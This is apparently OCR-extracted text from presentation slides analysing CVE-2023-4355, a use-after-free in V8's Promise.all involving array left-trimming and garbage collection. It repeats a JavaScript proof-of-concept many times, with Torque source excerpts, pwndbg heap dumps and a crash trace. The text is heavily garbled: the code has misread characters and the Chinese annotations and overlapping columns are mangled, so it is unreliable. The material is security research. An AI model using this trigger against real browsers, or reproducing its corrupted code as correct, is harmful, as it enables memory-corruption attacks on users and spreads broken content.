hole_end —= src_index;

DCHECK_LE(hole_start, backing_store->length());
DCHECK_LE(hole_end, backing_store->length());
else if (len != 0

static resolve() {
return { then(resolve) {
if (!first_resolve)
first _resolve = resolve;
else

.resolve(): Shlft ?éﬂl\] array jtlj\ﬁﬁ% ,‘J-/Q\
MaxCopyElements » 7 & Left-trimming

array = Array(102);
first_resolve = null;

static const int kMaxCopyElements = 100;
CustomPromise.all(array);
first _resolve();
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Proof-Of-Concept

gc = globalThis.gc || function() {
try { new ArrayBuffer(2 xk 34); } catch { }
}

class CustomPromise extends Promise {
constructor(executor) {
executor(array => {
array.shift();

gc();
gc();
}, noop => _
return -

static resolve() {
return { then(resolve) {
if (!first_resolve)
first _resolve = resolve;
else
resolve();

0L Promise.all()

array = Array(102);
first_resolve = null;
CustomPromise.all(array);
first _resolve();
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transitioning macro PerformPromiseAll<F1l: type, F2: type>(...)
Proof-Of-Concept :

Y]

try {

gc = globalThis.gc || function() { while (true) {

try { new ArrayBuffer(2 xk 34); } catch { }

loool

const nextPromise =
CallResolve(constructor, promiseResolveFunction, nextValue);

}

class CustomPromise extends Promise {
constructor(executor) {
executor(erray => {
array.stift();

const then = GetProperty(nextPromise, kThenString);

T:I_:ﬂﬁ':'_i:‘u then ZEI‘J- . %%u?uu:ﬂtu const thenResult = Call(

nativeContext, then, nextPromise, resolveElementFun,

constructor.resolve rejectElementFun) ;
gc();

gc();
}, noop => _
return

static resolve() {
return { then(resolve) {
if (!first_resolve)
first _resolve = resolve;
else
resolve();

array = Array(102);
first_resolve = null;
CustomPromise.all(array);
first _resolve();
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transitioning macro PerformPromiseAll<F1l: type, F2: type>(...)

Proof-Of-Concept :

[...]
try {

while (true) {
[...]
const nextPromise =
CallResolve(constructor, promiseResolveFunction, nextValue);

gc = globalThis.gc || function() {
try { new ArrayBuffer(2 xx 34); } catch { }

}

class CustomPromise extends Prorm

constructor(executor) { PromiseAllResolveElementClosure Bl 2 Rikkisiittb UL

executor(array => sult = Call(

array.shift(); then E’\J%ﬁ ntext, then, nextPromise, resolveElementFun,
ementFun);

gc();

gc();
}, noop => _);
return {};

static resolve() {
return { then(resolve) {
if (!first_resolve)
first _resolve = resolve;
else
resolvel();

transitioning macro PromiseAllResolveElementClosure<F: type>
(value: JSAny, function: JSFunction): JSAny

let promiseContext: PromiseAllResolveElementContext;
[...]

promiseContext = context;

[...]
const nativeContext = LoadNativeContext(promiseContext);
function.context = nativeContext; // [1]

array = Array(102);
first_resolve = null;
CustomPromise.all(array);
first_resolve();
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transitioning macro PerformPromiseAll<F1l: type, F2: type>(...)

Proof-Of-Concept :

Y]

try {
pwndbg> job $rdi -
gc = globalTh3 0x2d650024da65: [Function] while (true) {
. map: 0x2d65001443cl <Map[28 ] (HOLEY_ELEMENTS)> [FastProperties] [_ __]
try { new prototype: 0x2d6500144275 <JSFunction (sfi = 0x2d6500108f65)> ,
elements: Ox2d6500000210 <FixedArrayl@]> [HOLEY_ELEMENTS] const nextPromise
hash: 1 CallResolve(constructor, promiseResolveFunction, nextValue);
function prototype: <no-prototype-slot>
class CustomPi shared_info: 0x2d65002b2b@d <SharedFunctionInfo>

name: 0x2d6500000e25 <String[@]: #> const then = GetProperty(nextPromise, kThenString);
builtin: PromiseAllResolveElementClosure

executor(c formal_parameter_count: 1 const thenResult = Call(

array. s | nativeContext, then, nextPromise, resolveElementFun,
context: @x2d650024da35 <FunctionContext[5]>

code: 0x2d6500444af9 <Code BUILTIN PromiseAllResolveElementClosure> rejeCtElementFun);

gc(); properties:
A1l own properties (excluding elements): {

gc(); 0x2d6500000e31: [String] in ReadOnlySpace: #length: 0x2d65001021d1 <Ace £2
}, noop = 0x2d6500000e5d: [String] in ReadOnlySpace: #name: Ox2d65001021b9 <Acced } 1. value - 1$A resolve E"] é/ﬁi

return | p;vn:;i:ibi?;@\{e;:?;: feedback metadata is not available in SFI } 2_ funCtlon - reSOIVe ltb JSFU“Cthn ObjeCt

=> Qx7fcc8c4a2f84 <Builtins_PromiseAllResolveElementClosure+4>: push rsi

static resolve() { transitioning macro PromiseAllResolveElementClosure<F: type>

return { then(resolve) { (value: JSAny, function: JSFunction): JSAny
if (!'first_resolve) m

first _resolve = resolve; L .
else let promiseContext: PromiseAllResGtVEC tEMENCCUITLEXL;

resolve(): [...]

promiseContext = context;

500l

array = Array(102); Array: : ki _ , const nativeContext = LoadNativeContext(promiseContext);
first_resolve = null; function.context = nativeContext; // [1]
CustomPromise.all(array);
first resolve();:

[...]
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Proof-Of-Concept

gc = globalThis.gc || function() {
try { new ArrayBuffer(2 xk 34); } catch { }

}

class CustomPromise extends Promise {
constructor(executor) {
executor(array => {
array.shift();

gc();
gc();

SR I 171 25 —1F resolve » TI2AGHIFIER
%2 Promise.all #5358 1& 7 10U

static resolve() {
return { then(resolve) {
if (!first_resolve)
first _resolve = resolve;
else
resolve();

array = Array(102);
first_resolve = null;
CustomPromise.all(array);
first _resolve();
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Proof-Of-Concept

gc = globalThis.gc || function() {

try { new ArrayBuffer(2 sk 34); } catch { }

class CustomPromise extends Promise {
constructor(executor) {
executor(array => {
array.shift();

gc();
gc();
}, noop => _
return -

static resolve() {
return { then(resolve) {
if (!first_resolve)
first_resolve = resolve;
else
resolve();

array = Array(102);

first _resolve = null;
CustomPromise.all(array);
first _resolve();
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BTW » 518 AHY resolve JSFunction object 7£
—figlER T > BR 7 hash value Z SMELfit#f—1k

DebugPrint: 0x16ee@024d5bd: [Function]

map: 0x16ee@01443cl <Map[28 ] (HOLEY_ELEMENTS)> [FastProperties]
prototype: 0x16ee@0144275 <JSFunction (sfi = 0x16ee@0108f65)>
elements: 0x16ee@0000219 <FixedArray[0@]> [HOLEY_ELEMENTS]

hash: 1

runction prototype: <no-prototype-slot>

shared_info: 0x16ee@02b2b@d <SharedFunctionInfo>

name: 0x16ee@0000e25 <String[0Q]: #>

builtin: PromiseAllResolveElementClosure

formal_parameter_count: 1

kind: NormalFunction

context: 0x16ee®d24d58d <FunctionContext[5]>

code: 0Ox16ee®0444af9 <Code BUILTIN PromiseAllResolveElementClosure>
properties:

All own properties (excluding elements): {

Ox16ee@0000e31: [String] in ReadOnlySpace: #length: 0x16ee001021dl -
Ox16ee00000e5d: [String] in ReadOnlySpace: #name: 0x16ee@01021b9 <Ac

- feedback vector: feedback metadata is not available in SFI

DebugPrint: 0x16ee0@024d635: [Function]
map: Ox16ee@01443cl <Map[28 ] (HOLEY_ELEMENTS)> [FastProperties]
prototype: 0x16ee@0144275 <JSFunction (sfi = 0x16ee@0108f65)>
elements: 0x16ee@0000219 <FixedArray[@]> [HOLEY_ELEMENTS]
hash: 2
tunction prototype: <no-prototype-slot>
shared_info: 0x16ee@02b2b@d <SharedFunctionInfo>
name: 0Ox16ee@0000e25 <String[0]: #>
builtin: PromiseAllResolveElementClosure
formal_parameter_count: 1
kind: NormalFunction
context: 0x16ee@024d58d <FunctionContext[5]>
code: Ox16ee@@444af9 <Code BUILTIN PromiseAllResolveElementClosure>
properties:
All own properties (excluding elements): {
Ox16ee®@000e31: [String] in ReadOnlySpace: #length: 0x16ee001021dl
Ox16ee@0000e5d: [String] in ReadOnlySpace: #name: 0x16ee@01021b9 <A




CVE-2023-4355

Proof-Of-Concept

=
gc = globalThis.gc || function() { ﬁﬁ Values CheCk E1§m haSh
; try { new ArrayBuffer(2 sk 34); } catch { } Value 1?% index ;E*EAEE

transitioning macro PromiseAllResolveElementClosure<F: type>(
implicit context: PromiseAllResolveElementContext|NativeContext) (
value: JSAny, function: JSFunction, wrapResultFunctor: F,

hasResolveAndRejectClosures: constexpr bool): JSAny {
[...]

class CustomPromise extends Promise {
constructor(executor) {
executor(array => {
array.shift();

gc();
gc();
}, noop => _
return

const identityHash =

LoadJSReceiverIdentityHash(function) otherwise unreachable;
const index = identityHash - 1;

let values = xContextSlot(
promiseContext,
PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementValuesSlot);

static resolve() {
return { then(resolve) {
if (!first_resolve)
first _resolve = resolve;
else
resolve();

[...]
if (hasResolveAndRejectClosures) {
if (values.objects[index] != TheHole) deferred {
return Undefined;

array = Array(102);
first_resolve = null;
CustomPromise.all(array);
first _resolve();
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Proof-Of-Concept

gc = globalThis.gc || function() {
try { new ArrayBuffer(2 sk 34); } catch { } flrst_resolve

pwndbg> job 0x22240024d609
0x22240024d609: [Function]
map: 0x2224001443cl <Map[28 ] (HOLEY_ELEMENTS)> [FastProperties]
prototype: 0x222400144275 <JSFunction (sfi = 0x222400108f65)>
elements: 0x222400000219 <FixedArray[@]> [HOLEY_ELEMENTS]
hash: 1
function prototype: <no-prototype-slot>
shared_info: 0x2224002b2b@d <SharedFunctionInfo>
name: 0x222400000e25 <String[0]: #>
builtin: PromiseAllResolveElementClosure
formal_parameter_count: 1
kind: NormalFunction
context: 0x22240024d5d9 <FunctionContext[5]>
cyxde: 0x222400444af9 <Code BUILTIN PromiseAllResolveElementClosure>
p "operties:
ALl own properties (excluding elements): {
Ix222400000e31: [String] 1n ReadOnlySpace: #length: 0x2224001021d1
Ix222400000e5d: [String] in ReadOnlySpace: #name: 0x2224001021b9 <A

class CustomPromise extends Promise {
constructor(executor) {
executor(array => {
array.shift();

gc();
gc();
}, noop => _
return -

static resolve() {

return then(resolve) { - faedback vector: feedback metadata is not available in SFI
if (1first resolve pwnd>g> job 0x22240024d5d9

: —] Al e | - /, 0x22240024d5d9: [Context]
first_resolve = Eaﬂ'f__l'ju Promise.all 1§ ’ % man: 0x222400151899 <Map(FUNCTION_CONTEXT_TYPE)>

else type: FUNCTION_CONTEXT_TYPE
resolvel(); remalnlngElementscount '= O 9 ﬁﬁl‘\x scope_info: 0x222400000f61 <ScopelInfo>
. . previous: 0x222400000251 <undefined>

native_context: 0x222400143c0@d <NativeContext[281]>

executor resolve 1532 1T i =

elements:
0. 0x222400000f61 <Scopelnfo>

0x222400000251 <undefined>
remainingElementsCount

T 0X22240024d52d <PromiseCapability>
4. Qx222400255131 <FixedArray[102]>

array = Array(102);

first _resolve = null;
CustomPromise.all(array);
first resolve();:
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Proof-Of-Concept

gc = globalThis.gc || function() {
try { new ArrayBuffer(2 xk 34); } catch { }

}

class CustomPromise extends Promise {
constructor(executor) {
executor(array => {
array.shift();

transitioning macro PromiseAllResolveElementClosure<F: type>
(value: JSAny, function: JSFunction, ...): JSAny

gc();
gc();
}, noop => _
return {};

}

[...]
if (remainingElementsCount == 0) {

[y

static resolve() {
return { then(resolve) {
if (!first_resolve)
first _resolve = resolve;
else
resolve();

const valuesArray = NewJSArray(arrayMap, values);
Call(promiseContext, resolve, Undefined, valuesArray);

Folleacl

vy = Array(102); oy Kooy E Lenent E & m&E—1E element > ELEE#HITE
first_resolve = null; executor resolve handler

CustomPromise.all(array);
first _resolve();

142



CVE-2023-4355

Proof-Of-Concept

gc = globalThis.gc || function() {
try { new ArrayBuffer(2 xk 34); } catch { }
}

class CustomPromise extends Promise {
constructor(executor) {
executor(array => {
array.shift();
DebugPrint: 0x1d2400255331: [JSArray]
map: 0x1d240014edf9 <Map[16](PACKED_ELEMENTS)> [FastProperties]
prototype: 0x1d240014e799 <JSArray[0]>
elements: 0x1d240025517d <FixedArray[102]> [PACKED_ELEMENTS]
length: 102
properties: 0x1d2400000219 <FixedArray[Q]>
ALl own properties (excluding elements): {

gc();
gc();
}, noop => _
return -

static resolve() {
return { then(resolve) {
if (!first_resolve)
first_resolve = resolve;
else
resolve();

0x1d2400000e31: [String] 1n ReadOnlySpace: #length: 0x1d2400102
r), location: descriptor

}
- elements: 0x1d240025517d <FixedArray[102]> {

0-101: 0x1d2400000251 <undefined>

¥

array.shift BJgY array

array = Array(102);

first _resolve = null;
CustomPromise.all(array);
first _resolve();
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Proof-Of-Concept

gc = globalThis.gc || function() {
try { new ArrayBuffer(2 xk 34); } catch { }
}

class CustomPromise extends Promise {
constructor(executor) {
executor(array => {
array.shift();

DebugPrint: 0x1d2400255331: [JSArray]

map: 0x1d240014edf9 <Map[16](PACKED_ELEMENTS)> [FastProperties]
prototype: 0x1d240014e799 <JSArray[0@]>

elements: 0x1d2400255181 <FixedArray[101]> [PACKED_ELEMENTS]
length: 101

properties: 0x1d2400000219 <FixedArray[Q]>
ALl own properties (excluding elements): {

gc();
gc();
}, noop => _

return -

static resolve() {
return { then(resolve) {
if (!first_resolve)
first_resolve = resolve;
else
resolve();

0x1d2400000e31: [String] i1n ReadOnlySpace: #length: 0x1d2400102
r), location: descriptor

¥
- elements: 0x1d2400255181 <FixedArray[101]> {

0-100: 0x1d2400000251 <undefined>

¥

array.shift & - 2—2x gc RIS array

array = Array(102);

first _resolve = null;
CustomPromise.all(array);
first _resolve();
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Proof-Of-Concept 1R 5 lifetime EHY object >
F LG # = OldSpace

gc = globalThis.gc || function() {
try { new ArrayBuffer(2 sk 34); } catch { }

DebugPrint: 0x1d240015elbd: [JSArray] in OldSpace
map: 0x1d240014edf9 <Map[16](PACKED_ELEMENTS)> [FastProperties]
prototype: 0x1d240014e799 <JSArray[0@]>
elements: 0x1d240015e021 <FixedArray[101]> [PACKED_ELEMENTS]
length: 101
properties: 0x1d2400000219 <FixedArray[Q]>

}

class CustomPromise extends Promise {
constructor(executor) {
executor(array => {

array.shift(); All own properties (excluding elements): {

0x1d2400000e31: [String] in ReadOnlySpace: #length: 0x1d24001021
r), location: descriptor
5
- elements: 0x1d240015e021 <FixedArray[101]> {
0-100: 0x1d2400000251 <undefined>

gc();
gc();
}, noop => _
return -

Iy
static resolve() { 'ﬁ%—:ﬁ_’\ gc ?é ) %::T\ gc EGE/‘] array

return { then(resolve) {
if (!first_resolve)
first_resolve = resolve;

e BIRFEZS FixedArray RA{z1iL %
resolve(); oo
. Y ZE HY

pwndbg> x/10gx 0x1d2400255181-1
0x1d2400255180: 0x0000000000000000 0x0000000000000000
0x1d2400255190: 0x0000000000000000 0x0000000000000000

array = Array(102);
first_resolve = null;
CustomPromise.all(array);
first resolve();:

0x1d2400255100: 0x0000000000000000 0x0000000000000000
0x1d24002551b0: 0x0000000000000000 0x000000000000000
0x1d24002551c0: 0x0000000000000000 0x000000000000000
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Proof-Of-Concept

gc = globalThis.gc || function() {

try { new

ArrayBuffer(2 xx 34); } catch { } Ahvr

) R gc MBIE S FEEIES
{\/11E 0 crash
pwndbg> x/11 $rip

=> @x55adabf23dfe <_ZNSt4__Crl7__cxx_atomic_loadIcEET_PVKNS_22__cxx_atomic_base_implIS1_EENS_12memory_orderE+62>: mov
pwndbg> info reg rax

rax Ox1d24beadbef5

w

class CustomPromise extends Promise {
constructor(executor) {
executor(array => {

array.shift();

al,BYTE PTR [rax]

32043655085813

gc();
gc();
}, noop => _
return -

static resolve() {
return { then(resolve) {
if (!first_resolve)
first_resolve = resolve;
else
resolve();
} };
}
}

array = Array(102);

first _resolve = null;
CustomPromise.all(array);
first _resolve();
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XA gc BIEd{% > ScRURY
FixedArray £l & & Oxbeadbeef

pwndbg> x/10gx

0x1d240025517c:
0x1d240025518c:
0x1d240025519c:
0x1d24002551ac:
0x1d24002551bc:

pwndbg> x/10gx
0x1d2400255180:
0x1d2400255190.
0x1d24002551a0:
0x1d24002551b0:
0x1d24002551c0:

0x1d240025517d-1
Oxbeadbeefbeadbeef
Oxbeadbeefbeadbeef
Oxbeadbeefbeadbeef
Oxbeadbeefbeadbeef
Oxbeadbeefbeadbeef

0x1d2400255181-1
Oxbeadbeefbeadbeef
Oxbeadbeefbeadbeef
Oxbeadbeefbeadbeef
Oxbeadbeefbeadbeef
Oxbeadbeefbeadbeef

Oxbeadbeefbeadbeef
Oxbeadbeefbeadbeef
Oxbeadbeefbeadbeef
Oxbeadbeefbeadbeef
Oxbeadbeefbeadbeef

Oxbeadbeefbeadbeef
Oxbeadbeefbeadbeef
Oxbeadbeefbeadbeef
Oxbeadbeefbeadbeef
Oxbeadbeefbeadbeef




_ _ 0x255198
first resolve function

3%l executor resolve handler »
pwndbg> job 0x27a20024d641

0x27a20024d641: [Context] array.shift ZHl

map: 0x27a200151899 <Map(FUNCTION_CONTEXT_TYPE)>
type: FUNCTION_CONTEXT_TYPE

scope_info: 0x27a200000f61 <Scopelnfo>

previous: 0x27a200000251 <undefined>
native_context: 0x27a200143c@d <NativeContext[281]>

DebugPrint: 0x27a20025534d: [JSArray]
map: 0x27a20014edf9 <Map[16](PACKED_ELEMENTS)> [FastProperties]
prototype: 0x27a20014e799 <JSArray[0]>
elements: 0x27a200255199 <FixedArray[102]> [PACKED_ELEMENTS]
length: 102
properties: 0x27a200000219 <FixedArray[0]>

length: 5
elements:
. Ox27a200000f61 <Scopelnfo>
. Ox27a200000251 <undefined>
. 0
. Ox27a20024d595 <PromiseCapability>
. Ox27a200255199 <FixedArray[102]>

ALl own properties (excluding elements): {
0x27a200000e31: [String] in ReadOnlySpace: #length: 0x27a20010]
r), location: descriptor

h
- elements: 0x27a200255199 <FixedArray[102]> {

0-101: Ox27a200000251 <undefined>
pwndole x/10gx 0x27a20024d641-1

Ox27020024d640: 0x0000000000151899 0x0000025100000161

}

Ox27020024d650: 0x0024d59500000000 0x0015174d00255199
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first resolve function

pwndbg> job 0x27a20024d641

0x27a20024d641: [Context]
map: 0x27a200151899 <Map(FUNCTION_CONTEXT_TYPE)>
type: FUNCTION_CONTEXT_TYPE
scope_info: 0x27a200000f61 <Scopelnfo>
previous: 0x27a200000251 <undefined>
native_context: 0x27a200143c@d <NativeContext[281]>

length: 5
elements:
. Ox27a200000f61 <Scopelnfo>
. Ox27a200000251 <undefined>
. 0
. Ox27a20024d595 <PromiseCapability>
. Ox27a200255199 <FixedArray[102]>

pwndole x/10gx 0x27a20024d641-1
Ox27a20024d640: 0x0000000000151899 0x0000025100000f61

Ox27020024d650: 0x0024d59500000000 0x0015174d00255199

0x25519c

:

148

array.shift 1& » —X gc Bl

DebugPrint: 0x27a20025534d: [JSArray]

- map: Ox27a20014edf9 <Map[16](PACKED_ELEMENTS)> [FastProperties]

prototype: 0x27a20014e799 <JSArray[0Q]>
elements: 0x27a20025519d <FixedArray[101]>
length: 101

properties: 0x27a200000219 <FixedArray[0]>

ALl own properties (excluding elements): {
0x27a200000e31: [String] in ReadOnlySpace:
r), location: descriptor

ments: 0x27a20025519d <FixedArray[101]>
0-100: Ox27a200000251 <undefined>

[PACKED_ELEMENTS]]

#length: 0x27a20010




first resolve function

0x25519c

:

pwndbg> job 0x27a20024d641

0x27a020024d641: [Context]
map: 0x27a200151899 <Map(FUNCTION_CONTEXT_TYPE)>
type: FUNCTION_CONTEXT_TYPE

DebugPrint: 0x27a20025534d: [JSArray]
- map: Ox27a20014edf9 <Map[16](PACKED_ELEMENTS)> [FastProperties]
prototype: 0x27a20014e799 <JSArray[0]>
elements: 0x27a20025519d <FixedArray[101]> [PACKED_ELEMENTS]

scope_info: 0x27a200000f61 <Scopelnfo>

previous: 0x27a200000251 <undefined>
native_context: 0x27a200143c@d <NativeContext[281]>
length: 5

length: 101
elements: = . . :
. Ox27a2000 EEE*&EH Debuannt ‘%’EDH:" properties: @xZ?aZ@@@@@ZlG)O<F1xedAr‘ray[?]>
. Ox27a2000 S aea s ALl own properties (excluding elements): {
ok Filler » A@EE5MEIRZE 0x27a200000e31: [String] in ReadOnlySpace: #length: @x27a20010

. Ox27020024d595 g

I r), location: descriptor
Yo vd ) YALal) <Other heap object (FILLER_TYPE)>

. Ox27a20025519d <FixedArray[101]>

0-100: Ox27a200000251 <undefined>
pwndole x/10gx 0x27a20024d641-1

Ox27020024d640: 0x0000000000151899 0x0000025100000161

Ox27020024d650: 0x0024d59500000000 0x0015174d00255199
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first resolve function

%

Ll

1%l OldSpace HY Context

Elements

--L--

find /g <FixedArray - 0x10000>, <FixedArray>, 0x0000000a00151899

|
pwnabgd x/10gx 0x27a20015df 4
Ox27a20015dff4: 0x0000000000151899

Ox27a20015e004: 0x0015df9100000000

0x0000025100000161

0x001443c100255199

150

pwndbg> x/10gx 0x27a200255199
0x27a200255199:
Ox27a2002551a9:

Ox27a2002551b9:
Ox27a2002551c9:
Ox27a2002551d9:

0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000

0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000

B—Rgc 1&g B _

ZX gc g

DebugPrint: 0x27a20015ele5:
map: 0x27a20014edf9 <Map[16](PACKED_cLeEmMENTS)> [FastProperties]
prototype: 0x27a20014e799 <JSArray[0]>

[JSArray] in OldSpace

elements: 0x27a20015e049 <FixedArray[101]> [PACKED_ELEMENTS]

length: 101

properties: 0x27a200000219 <FixedArray[0]>

All own properties (excluding elements): {

Ox27a200000e31:

[String] 1in ReadOnlySpace:

r), location: descriptor

}

- elements: 0x27a20015e049 <FixedArray[101]> {

0-100: Ox27a200000251 <undefined>

}

#length: 0x27a200107



first resolve function

%

Ll

1%l OldSpace HY Context

Elements

IJ----------------------------------

find /g <FixedArray - 0x10000>, <FixedArray>, 0x0000000a00151899

|
pwnabgd x/10gx 0x27a20015df 4
Ox27a20015dff4: 0x0000000000151899 0x0000025100000f61

0x001443c100255199

Ox27a20015e004: 0x0015df9100000000

151

— 2R gc Y3

pwndbg> x/10gx 0x27a200255199
0x27a200255199:
Ox27a2002551a9:

Ox27a2002551b9:
Ox27a2002551c9:
Ox27a2002551d9:

0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000

|
\ ¢
®

0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000

Mark-Sweep-Compact GC



FE T gc I9ATE

pwndbg> x/10gx 0x27a200255199
Ox27a200255199:
0x27a2002551a9:

0x27a2002551b9: Oxbeadbeef (ZapValue) *'N
0x27a2002551c9.

Ox27a2002551d9:

first resolve function

F2E1 2l OldSpace BJ Context

o e e e o Elements

o !
|
|

find /g <FixedArray - 0x10000>, <FixedArray>, 0x0000000200151899

mark it as released memory region

|
pwnabgd x/10gx 0x27a20015df 4
Ox27a20015dff4: 0x0000000000151899 0x0000025100000f61

Ox27a20015e004: 0x0015df9100000000 0x001443c100255199

|
\ ¢
®

Mark-Sweep-Compact GC
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FE T gc I9ATE

pwndbg> x/10gx 0x27a200255199
0x27a200255199:
0x27a2002551a9:

0x27a2002551b9: Oxbeadbeef (ZapValue) *'N
0x27a2002551c9.

Ox27a2002551d9:

first resolve function

F2E1 2l OldSpace BJ Context

o e e e o Elements

find /g <FixedArray - 0x10000>, <FixedArray>, 0x0000000200151899

. try to check if a LiveObject
pwnabgd x/10gx 0x27a20015df 4

Ox27a20015dff4: 0x0000000000151899 0x00000251000001f61

Ox27a20015e004: 0x0015df9100000000 0x001443c100255199

|
\ ¢
®

Mark-Sweep-Compact GC
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FE T gc I9ATE

pwndbg> x/10gx 0x27a200255199
0x27a200255199:
0x27a2002551a9:

0x27a2002551b9: Oxbeadbeef (ZapValue) *'N
0x27a2002551c9.

Ox27a2002551d9:

first resolve function

F2E1 2l OldSpace BJ Context

o e e e o Elements

what’s this

find /g <FixedArray - 0x10000>, <FixedArray>, 0x0000000200151899

|
pwnabgd x/10gx 0x27a20015df 4
Ox27a20015dff4: 0x0000000000151899 0x0000025100000f61

Ox27a20015e004: 0x0015df9100000000 0x001443c100255199

|
\ ¢
®

Mark-Sweep-Compact GC
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FE T gc I9ATE

pwndbg> x/10gx 0x27a200255199
Ox27a200255199:
0x27a2002551a9:

0x27a2002551b9: Oxbeadbeef (ZapValue) *'N
0x27a2002551c9.

Ox27a2002551d9:

first resolve function

1
1
|
|
1
|
|
1
|
|
1
|
|

check map or ...

F2E1 2l OldSpace BJ Context

o e e e o Elements

o !
|
|

find /g <FixedArray - 0x10000>, <FixedArray>, 0x0000000200151899

' Oxbeadbeef

|
pwnabgd x/10gx 0x27a20015df 4
Ox27a20015dff4: 0x0000000000151899 0x0000025100000f61

Ox27a20015e004: 0x0015df9100000000 0x001443c100255199

|
\ ¢
®

Mark-Sweep-Compact GC
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FE T gc I9ATE

pwndbg> x/10gx 0x27a200255199
Ox27a200255199:
0x27a2002551a9:

0x27a2002551b9: Oxbeadbeef (ZapValue) *'N
0x27a2002551c9.

Ox27a2002551d9:

first resolve function

Fe===sse==a= ; check map or ...

F2E1 2l OldSpace BJ Context

o e e e o Elements

L L L R T / SIGSEGV ‘

find /g <FixedArray - 0x10000>, <FixedArray>, 0x0000000200151899

|
pwnabgd x/10gx 0x27a20015df 4
Ox27a20015dff4: 0x0000000000151899 0x0000025100000f61

Ox27a20015e004: 0x0015df9100000000 0x001443c100255199

|
\ ¢
®

Mark-Sweep-Compact GC
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B "t gc BYIBFE

pwndbg> x/10gx 0x27a200255199
0x27a200255199:
Ox27a2002551a9:

0x27a2002551b9: Oxbeadbeef (ZapValue) *'N
0x27a2002551c9:

Ox27a2002551d9:

first resolve function

Fosmmmm==——— . check map or ...

N8R ;2B shift i2HE

find /g <FixedArray - 0x10000>, <FixedArray>, 0x0000000200151899

|

pwnabgd x/10gx 0x27a20015df 4

Ox27a20015dff4: 0x0000000000151899 0x0000025100000f61
Ox27a20015e004: 0x0015df9100000000 0x001443¢c100255199

|
\ ¢
®

Mark-Sweep-Compact GC
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_ _ 0x255138
first resolve function

pwndbg> job 0x2d8e0024d5el e ) e py .
Ox2d8e0024d5e1: [Context] /= shift » 55—=KX gc Al
map: Ox2d8e00151899 <Map(FUNCTION_CONTEXT_TYPE)>

type: FUNCTION_CONTEXT_TYPE

scope_info: 0x2d8e00000f61l <Scopelnfo>

previous: 0x2d8e00000251 <undefined>
native_context: 0x2d8e00143cAd <NativeContext[281]>
length: 5

elements:

DebugPrint: 0x2d8e002552ed: [JSArray]

- map: Ox2d8e0014edf9 <Map[16](PACKED_ELEMENTS
prototype: 0x2d8e0014e799 <JSArray[0]>
elements: Ox2d8e00255139 <FixedArray[102]> [I
length: 102

. 0x2d8e00000f61 <Scopelnfo> properties: 0x2d8e00000219 <FixedArray[0]>
. 0x2d8e00000V251 <undefined>

ALl own properties (excluding elements): {
0x2d8e00000e31: [String] in ReadOnlySpace:
r), lLocation: descriptor
¥
- elements: 0x2d8e00255139 <FixedArray[102]> {
0-101: Ox2d8e00000251 <undefined>

: 0
. 0x2d8e0024d535 <PromiseCapability>
. Ox2d8e00255139 <FixedArray[102]>

8 pwndhg> x/10gx 0x2d8e0024d5el-1
0x2d8e0024d5e0: Ox0000000a00151899 0x0000025100000f61

0x2d8e0024d5f0: 0Ox0024d53500000000 0x0015174d00255139
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pwndbg> x/10gx 0x2d8e00255139-1

0x2d8e00255138: 0x0000000000000000 0x0000000000000000

0x2d8e00255148: 0x0000000000000000 0x0000000000000000

i i 0x2d8e00255158: 0x0000000000000000 0x0000000000000000
first_resolve function 0x2d8e00255168: 0x0000000000000000 0x0000000000000000

Ox2d8e00255178: 0x0000000000000000 0x0000000000000000

$E—IRgc1& > sB_R gc Al

F2E1 2l OldSpace BJ Context

........ Elements

Ll

0X1 5dfd4 DebugPrint: 0x2d8e0@015e175: [JSArray] in OldSpace

map: 0x2d8e0014edf9 <Map[16](PACKED_ELEMENTS)> [FastProperties]
prototype: 0x2d8e0014e799 <JSArray[0Q]>

elements: 0x2d8e00@15dfd5 <FixedArray[102]> [PACKED_ELEMENTS]
length: 102

properties: 0x2d8e00000219 <FixedArray[0Q]>

ALl own properties (excluding elements): {

0x2d8e00000e31: [String] in ReadOnlySpace: #length: 0x2d8e0010:
r), location: descriptor
¥
- elements: 0x2d8e®015dfd5 <FixedArray[102]> {
0-101: 0x2d8e@V0VV251 <undefined>

pwndbg> x/10gx 0x2d8e00@15df80
Ox2d8e0015df80: 0x0000000a00151899 0x0000025100000f61
0x2d8e0015df90: 0x0015df1d00000000 0x001443c10015dfd>S5

— IR ER }
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pwndbg> x/10gx 0x2d8e00255139-1

0x2d8e00255138: 0x0000000000000000 0x0000000000000000
0x2d8e00255148: 0x0000000000000000 0x0000000000000000

i i 0x2d8e00255158: 0x0000000000000000 0x0000000000000000
first_resolve function 0x2d8e00255168: 0x0000000000000000 0x0000000000000000

0x2d8e00255178: 0x0000000000000000 0x0000000000000000

V4 A

‘ E—IRgc 18 > 5B qc Al

R shift BIEZTEN

- properties: 0x2d8e00000219 <FixedArray[0]>
- All own properties (excluding elements): {

0x2d8e00000e31: [String] in ReadOnlySpace: #length: 0x2d8e0010:
r), location: descriptor

find /g <FixedArray - 0x10000>, <FixedArray>, 0x0000000a00151899

pwndbg> x/10gx 0x2d8e00@15df80 1

- elements: 0x2d8e0015dfd5 <FixedArray[102]> {
V-101: Ox2d8ePVVVV251 <undefined>

0x2d8e0015df80: 0x00000VVa00151899 0x0000025100000161
0x2d8e0015df90: 0x0015df1d00000000 0x001443c10015dfd>5S

— IR ER }
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array.shift

Ox25514c
(filler)

0x255150

0x25514c

[

pwndbg> job 0x28740025514d

pwndbg> job ©x28740025514d .
fillerpwx/20wx 0x28740025514d-1d

0x28740025514d: [FixedArray]

- map: 0x287400000089 <Map(FIXED_ARRAY_TYPE)>

- length: 102

0-101: Ox287400000251 <undefined>

pwndbg> x/20wx
Ox28740025514c:
Ox28740025515c:
Ox28740025516c¢:
Ox28740025517c:
Ox28740025518c:

Y

x28740025514d-1

0x00000089
0x00000251
0x00000251
0x00000251
0x00000251

0x000000cc
0x00000251
0x00000251
0x00000251
0x00000251

0x00000251
0x00000251
0x00000251
0x00000251
0x00000251

0x00000251
0x00000251
0x00000251
0x00000251
0x00000251

0x28740025514c:
0x28740025515c:
0x28740025516c¢:
0x28740025517c:
0x28740025518c:

0x00000b0d
0x00000251
0x00000251
0x00000251
0x00000251

0x00000089
0x00000251
0x00000251
0x00000251
0x00000251

pwndbg> jok 0x287400000b0d
0x287400000b0d: [Map] in ReadOnlySpace

- type: FILLER_TYPE

0x000000ca
